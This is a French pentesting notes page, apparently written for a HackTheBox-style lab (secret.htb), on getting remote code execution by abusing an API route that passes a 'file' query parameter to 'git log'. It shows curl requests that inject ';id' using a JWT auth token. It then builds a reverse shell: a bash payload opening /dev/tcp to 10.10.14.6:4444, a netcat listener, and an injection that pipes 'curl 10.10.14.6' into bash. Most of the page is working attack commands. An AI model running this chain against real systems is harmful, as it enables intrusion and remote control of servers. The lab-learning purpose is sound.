> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md).
# RCE par abus d’API
## RCE :
{% hint style="info" %}
Ce code présente un problème de sécurité causé par une injection de commande. Comme `le fichier` provient des paramètres de requête et est inséré directement dans une commande de terminal, un utilisateur malveillant pourrait modifier `le fichier` pour exécuter d’autres commandes. Cette route exécute `git log --oneline [file]` sur le système, où `[file]` est fourni via le paramètre de requête.
{% endhint %}
Voici un exemple de commande `curl` qui tente d’injecter `id`:
{% code overflow="wrap" %}
```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```
{% endcode %}
#### nous allons exécuter un shell inverse :
1. Créez un fichier `index.html` sur notre machine et créez un serveur web avec le contenu ci-dessous :
```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```
2. Ensuite, mettez-vous à l’écouteur sur le port 4444 :
```bash
nc -nlvp 4444
```
Exécutez une injection avec `curl` sur notre serveur web :
{% code overflow="wrap" %}
```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```
{% endcode %}
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